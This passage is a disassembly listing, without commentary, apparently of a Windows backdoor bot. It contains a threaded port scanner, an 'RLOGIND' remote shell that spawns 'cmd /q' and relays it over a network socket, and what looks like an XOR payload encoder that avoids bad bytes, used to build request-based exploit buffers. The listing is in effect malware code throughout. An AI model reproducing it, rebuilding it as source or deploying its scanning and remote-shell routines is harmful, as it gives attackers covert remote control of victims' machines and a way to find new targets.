push eax ; Source
push [ebp+Source] ; Dest
call _strncpy
add esp, 18h
loc_40FA33: ; CODE XREF: sub_40F995+7Dj
mov eax, [ebp+Source]
leave
retn
sub_40F995 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40FA38(char *Dest,int,int,char *Str1)
sub_40FA38 proc near ; CODE XREF: sub_405C73+10Dp
; sub_409277+7Fp ...
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str1 = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_427794
loc_40FA44: ; CODE XREF: sub_40FA38+3Fj
cmp [ebp+Str1], 0
jz short loc_40FA5F
lea eax, [esi-0Ch]
push eax ; Str2
push [ebp+Str1] ; Str1
call _strcmp
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40FA69
; ---------------------------------------------------------------------------
loc_40FA5F: ; CODE XREF: sub_40FA38+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40FA69: ; CODE XREF: sub_40FA38+25j
test eax, eax
jnz short loc_40FA7B
add esi, 14h
inc edi
cmp esi, offset dword_4277F8
jl short loc_40FA44
jmp short loc_40FA89
; ---------------------------------------------------------------------------
loc_40FA7B: ; CODE XREF: sub_40FA38+33j
push [ebp+Source] ; Dest
lea eax, [edi+edi*4]
call off_427798[eax*4]
pop ecx
loc_40FA89: ; CODE XREF: sub_40FA38+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40FA9C
push [ebp+Source] ; Source
call sub_40F995
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40FA9C: ; CODE XREF: sub_40FA38+57j
mov eax, [ebp+Source]
pop ebp
retn
sub_40FA38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAA1 proc near ; DATA XREF: sub_40FB6E+7Bo
var_B8 = dword ptr -0B8h
Str = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_34]
call dword_42EBB4 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_42EC30 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40FB5F
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call dword_42EB60 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43054C[ecx], esi
jz short loc_40FB5F
push [ebp+var_34]
push [ebp+var_28]
call dword_42EC3C ; inet_ntoa
push eax
mov edi, offset byte_4752B8
push offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open."
push edi ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Str]
push [ebp+var_20] ; int
push edi ; int
push eax ; Str
push [ebp+var_B8] ; int
call sub_405E64
push edi
call sub_402D63
add esp, 28h
loc_40FB5F: ; CODE XREF: sub_40FAA1+5Dj
; sub_40FAA1+7Ej
push esi
call dword_42EC48 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40FAA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; int __cdecl sub_40FB6E(int Dst)
sub_40FB6E proc near ; DATA XREF: sub_409557+2E3Do
Source = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
Src = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
Dst = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+Dst]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_41B048
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_40FB9C: ; CODE XREF: sub_40FB6E+ECj
push [ebp+var_2C]
push [ebp+Src]
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push 1FFh ; Count
push eax ; Source
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_430340
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40FAA1
push edi
push edi
call ds:dword_41B064 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40FC08
loc_40FBFD: ; CODE XREF: sub_40FB6E+98j
cmp [ebp+var_C], edi
jnz short loc_40FC08
push 32h
call esi ; Sleep
jmp short loc_40FBFD
; ---------------------------------------------------------------------------
loc_40FC08: ; CODE XREF: sub_40FB6E+8Dj
; sub_40FB6E+92j
push [ebp+var_4]
call ds:dword_41B050 ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+Src]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_42EAF8 ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_42EBB0 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Src]
push eax ; Dst
call _memcpy
add esp, 0Ch
jmp loc_40FB9C
sub_40FB6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FC5F proc near ; CODE XREF: sub_40F1B7+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_40FDB0
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43054C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_41B064
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_40FF82
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_40FCCA
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindFaile_2 ; "[RLOGIND]: Failed to create ReadShell s"...
call sub_402DD7
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_40FD04
; ---------------------------------------------------------------------------
loc_40FCCA: ; CODE XREF: sub_40FC5F+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410034
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_40FD0B
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindFaile_2 ; "[RLOGIND]: Failed to create ReadShell s"...
call sub_402DD7
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_41B124 ; TerminateThread
loc_40FD04: ; CODE XREF: sub_40FC5F+69j
xor eax, eax
jmp loc_40FDAB
; ---------------------------------------------------------------------------
loc_40FD0B: ; CODE XREF: sub_40FC5F+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call ds:dword_41B148 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_40FD65
dec eax
jz short loc_40FD5F
dec eax
jz short loc_40FD4B
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"...
call sub_402DD7
pop ecx
pop ecx
jmp short loc_40FD7A
; ---------------------------------------------------------------------------
loc_40FD4B: ; CODE XREF: sub_40FC5F+D5j
mov edi, ds:dword_41B124
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_40FD7A
; ---------------------------------------------------------------------------
loc_40FD5F: ; CODE XREF: sub_40FC5F+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_40FD69
; ---------------------------------------------------------------------------
loc_40FD65: ; CODE XREF: sub_40FC5F+CFj
push ebx
push dword ptr [esi+14h]
loc_40FD69: ; CODE XREF: sub_40FC5F+104j
call ds:dword_41B124 ; TerminateThread
push 1
push dword ptr [esi+8]
call ds:dword_41B104 ; TerminateProcess
loc_40FD7A: ; CODE XREF: sub_40FC5F+EAj
; sub_40FC5F+FEj
push dword ptr [esi+10h]
mov edi, ds:dword_41B050
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_42EC48 ; closesocket
push esi ; Memory
call _free
pop ecx
push 1
pop eax
loc_40FDAB: ; CODE XREF: sub_40FC5F+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_40FC5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FDB0 proc near ; CODE XREF: sub_40FC5F+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h ; Size
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call _malloc
mov esi, eax
pop ecx
cmp esi, edi
jz loc_40FE9A
mov ebx, ds:dword_41B138
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, ds:dword_41B050
test eax, eax
jnz short loc_40FE13
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"...
jmp short loc_40FE33
; ---------------------------------------------------------------------------
loc_40FE13: ; CODE XREF: sub_40FDB0+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_40FE3B
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"...
loc_40FE33: ; CODE XREF: sub_40FDB0+61j
call sub_402DD7
pop ecx
jmp short loc_40FE69
; ---------------------------------------------------------------------------
loc_40FE3B: ; CODE XREF: sub_40FDB0+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_40FEA9
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_40FE9E
push offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell."
call sub_402D63
loc_40FE69: ; CODE XREF: sub_40FDB0+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_40FE75
push [ebp+var_4]
call edi ; CloseHandle
loc_40FE75: ; CODE XREF: sub_40FDB0+BEj
cmp [ebp+var_8], 0
jz short loc_40FE80
push [ebp+var_8]
call edi ; CloseHandle
loc_40FE80: ; CODE XREF: sub_40FDB0+C9j
mov eax, [esi]
test eax, eax
jz short loc_40FE89
push eax
call edi ; CloseHandle
loc_40FE89: ; CODE XREF: sub_40FDB0+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_40FE93
push eax
call edi ; CloseHandle
loc_40FE93: ; CODE XREF: sub_40FDB0+DEj
push esi ; Memory
call _free
pop ecx
loc_40FE9A: ; CODE XREF: sub_40FDB0+1Dj
xor eax, eax
jmp short loc_40FEA4
; ---------------------------------------------------------------------------
loc_40FE9E: ; CODE XREF: sub_40FDB0+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_40FEA4: ; CODE XREF: sub_40FDB0+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_40FDB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FEA9 proc near ; CODE XREF: sub_40FDB0+94p
Dst = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_4], esi
call _memset
push 10h ; Size
lea eax, [ebp+var_14]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+Dst], edi
mov edi, ds:dword_41B100
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_41B134 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+Dst]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_41B094 ; CreateProcessA
test eax, eax
jz short loc_40FF65
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_430548[eax], ecx
call ds:dword_41B050 ; CloseHandle
jmp short loc_40FF7B
; ---------------------------------------------------------------------------
loc_40FF65: ; CODE XREF: sub_40FEA9+9Aj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to execute shell, err"...
call sub_402DD7
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_40FF7B: ; CODE XREF: sub_40FEA9+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_40FEA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF82 proc near ; DATA XREF: sub_40FC5F+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, ds:dword_41B04C
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_40FFAB: ; CODE XREF: sub_40FF82+8Fj
call ebx ; ReadFile
test eax, eax
jz short loc_410013
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_40FFE6
loc_40FFBC: ; CODE XREF: sub_40FF82+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_40FFD6
cmp dl, 0Dh
jz short loc_40FFD6
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_40FFD6: ; CODE XREF: sub_40FF82+44j
; sub_40FF82+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_40FFBC
loc_40FFE6: ; CODE XREF: sub_40FF82+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_42EC00 ; send
test eax, eax
jle short loc_410013
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_40FFAB
; ---------------------------------------------------------------------------
loc_410013: ; CODE XREF: sub_40FF82+2Dj
; sub_40FF82+79j
mov esi, ds:dword_41B060
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_41002F
call esi ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"...
call sub_402DD7
pop ecx
pop ecx
loc_41002F: ; CODE XREF: sub_40FF82+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_40FF82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410034 proc near ; DATA XREF: sub_40FC5F+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_41004D: ; CODE XREF: sub_410034+39j
; sub_410034+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_42EBCC ; recv
test eax, eax
jle loc_410152
cmp [ebp+var_10], ebx
jbe short loc_41006F
dec [ebp+var_10]
jmp short loc_41004D
; ---------------------------------------------------------------------------
loc_41006F: ; CODE XREF: sub_410034+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_410132
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_4100DF
cmp al, 7Fh
jz short loc_4100DF
cmp al, 3
jnz short loc_41009A
push ebx
push ebx
call ds:dword_41B14C ; GenerateConsoleCtrlEvent
jmp short loc_410106
; ---------------------------------------------------------------------------
loc_41009A: ; CODE XREF: sub_410034+5Aj
cmp al, 15h
jnz short loc_4100BC
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_4100F2
; ---------------------------------------------------------------------------
loc_4100BC: ; CODE XREF: sub_410034+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_4100F3
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_4100F2
; ---------------------------------------------------------------------------
loc_4100DF: ; CODE XREF: sub_410034+52j
; sub_410034+56j
cmp esi, ebx
jbe short loc_410109
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_4100F2: ; CODE XREF: sub_410034+86j
; sub_410034+A9j
pop ecx
loc_4100F3: ; CODE XREF: sub_410034+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_42EC00 ; send
test eax, eax
jle short loc_410152
loc_410106: ; CODE XREF: sub_410034+64j
mov al, byte ptr [ebp+arg_0+3]
loc_410109: ; CODE XREF: sub_410034+ADj
cmp al, 0Dh
jnz loc_41004D
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call ds:dword_41B054 ; WriteFile
test eax, eax
jz short loc_410152
xor esi, esi
jmp loc_41004D
; ---------------------------------------------------------------------------
loc_410132: ; CODE XREF: sub_410034+47j
cmp [ebp+var_C], ebx
jnz short loc_410143
mov [ebp+var_C], 1
jmp loc_41004D
; ---------------------------------------------------------------------------
loc_410143: ; CODE XREF: sub_410034+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_41004D
; ---------------------------------------------------------------------------
loc_410152: ; CODE XREF: sub_410034+2Bj
; sub_410034+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_410034 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_410157(char *Str,int)
sub_410157 proc near ; CODE XREF: sub_410177+Ap
; sub_41024F+8p ...
Str = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+Str] ; Str
call _strlen
push [esp+8+arg_4] ; Str
mov esi, eax
call _strlen
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_410157 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_410177(void *Dst,int,void *Str,int)
sub_410177 proc near ; CODE XREF: sub_410266+49p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Str = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C] ; int
push [ebp+Str] ; Str
call sub_410157
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_410194
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_410194: ; CODE XREF: sub_410177+17j
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
push [ebp+arg_C] ; Str
mov esi, eax
call _strlen
mov edi, eax
mov ebx, [ebp+Dst]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_427AD0, eax
lea eax, [edi+1]
mov dword_427AF1, eax
lea eax, [edi+17h]
mov dword_427AE9, eax
pop eax
push 74h ; Size
sub eax, edi
push offset dword_427A6C ; Src
push ebx ; Dst
mov dword_427AFF, eax
call _memcpy
push esi ; Size
lea eax, [ebx+74h]
push [ebp+Str] ; Src
push eax ; Dst
call _memcpy
add esi, 74h
push 5 ; Size
push offset aGet_0 ; " get "
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esi, 5
push edi ; Size
push [ebp+arg_C] ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esi, edi
push 10h ; Size
push (offset aGet_0+5) ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esp, 44h
add esi, 10h
push edi ; Size
lea eax, [esi+ebx]
push [ebp+arg_C] ; Src
push eax ; Dst
call _memcpy
add esi, edi
push 38h ; Size
add esi, ebx
push offset byte_427AF5 ; Src
push esi ; Dst
call _memcpy
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_410177 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41024F(char *Str,int)
sub_41024F proc near ; CODE XREF: sub_410266+Dp
Str = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4] ; int
push [esp+4+Str] ; Str
call sub_410157
push eax
call sub_4102D3
add esp, 0Ch
retn
sub_41024F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_410266(void *Dst,int,char *Str,int)
sub_410266 proc near ; CODE XREF: sub_40119B+32p
; .text:00401821p
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Str = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+Str]
push edi
mov edi, [ebp+arg_C]
push edi ; int
push ebx ; Str
call sub_41024F
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_410286
cmp eax, 0FFFFh
jbe short loc_41028A
loc_410286: ; CODE XREF: sub_410266+17j
xor eax, eax
jmp short loc_4102CF
; ---------------------------------------------------------------------------
loc_41028A: ; CODE XREF: sub_410266+1Ej
push esi
push edi ; int
push ebx ; Str
call sub_410157
add eax, 101h
push eax ; Size
call _malloc
add esp, 0Ch
mov esi, eax
push edi ; int
push ebx ; Str
push edi ; int
push ebx ; Str
call sub_410157
pop ecx
pop ecx
push eax ; int
push esi ; Dst
call sub_410177
push eax ; int
push esi ; int
push [ebp+arg_4] ; int
push [ebp+Dst] ; Dst
call sub_4102EE
push esi ; Memory
mov edi, eax
call _free
add esp, 24h
mov eax, edi
pop esi
loc_4102CF: ; CODE XREF: sub_410266+22j
pop edi
pop ebx
pop ebp
retn
sub_410266 endp
; =============== S U B R O U T I N E =======================================
sub_4102D3 proc near ; CODE XREF: sub_41024F+Ep
; sub_4102EE+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4102DC
inc ecx
loc_4102DC: ; CODE XREF: sub_4102D3+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4102D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4102EE(void *Dst,int,int,int)
sub_4102EE proc near ; CODE XREF: .text:00401846p
; sub_410266+56p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_41030A
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_41030A
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_41030A
cmp byte ptr [ebp+arg_C], 0
jnz short loc_41030D
loc_41030A: ; CODE XREF: sub_4102EE+8j
; sub_4102EE+Ej ...
inc [ebp+arg_C]
loc_41030D: ; CODE XREF: sub_4102EE+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_410335
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_41032E
cmp al, 0Dh
jz short loc_41032E
cmp al, 5Ch
jz short loc_41032E
test al, al
jnz short loc_410335
loc_41032E: ; CODE XREF: sub_4102EE+32j
; sub_4102EE+36j ...
add [ebp+arg_C], 100h
loc_410335: ; CODE XREF: sub_4102EE+28j
; sub_4102EE+3Ej
push [ebp+arg_C]
call sub_4102D3
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_41034D
cmp eax, 0FFFFh
jbe short loc_410354
loc_41034D: ; CODE XREF: sub_4102EE+56j
xor eax, eax
jmp loc_4103F2
; ---------------------------------------------------------------------------
loc_410354: ; CODE XREF: sub_4102EE+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4754BC
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_410384
loc_410368: ; CODE XREF: sub_4102EE+94j
mov al, [edx+edi]
xor al, bl
jz short loc_41037B
cmp al, 0Ah
jz short loc_41037B
cmp al, 0Dh
jz short loc_41037B
cmp al, 5Ch
jnz short loc_41037F
loc_41037B: ; CODE XREF: sub_4102EE+7Fj
; sub_4102EE+83j ...
inc bl
xor edx, edx
loc_41037F: ; CODE XREF: sub_4102EE+8Bj
inc edx
cmp edx, ecx
jb short loc_410368
loc_410384: ; CODE XREF: sub_4102EE+78j
cmp ecx, esi
mov byte_4754BC, bl
ja short loc_4103B0
push 15h ; Size
push offset dword_427A54 ; Src
push [ebp+Dst] ; Dst
mov byte_427A61, cl
mov byte_427A65, bl
call _memcpy
add esp, 0Ch
push 15h
jmp short loc_4103D1
; ---------------------------------------------------------------------------
loc_4103B0: ; CODE XREF: sub_4102EE+9Ej
push 17h ; Size
push offset dword_427A3C ; Src
push [ebp+Dst] ; Dst
mov word_427A4A, cx
mov byte_427A4F, bl
call _memcpy
add esp, 0Ch
push 17h
loc_4103D1: ; CODE XREF: sub_4102EE+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_4103ED
mov edx, [ebp+Dst]
lea esi, [ecx+edx]
loc_4103DF: ; CODE XREF: sub_4102EE+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_4103DF
loc_4103ED: ; CODE XREF: sub_4102EE+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_4103F2: ; CODE XREF: sub_4102EE+61j
pop esi
leave
retn
sub_4102EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4103F5 proc near ; DATA XREF: sub_409557+510Fo
Source = byte ptr -2D4h
var_D4 = dword ptr -0D4h
Str = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
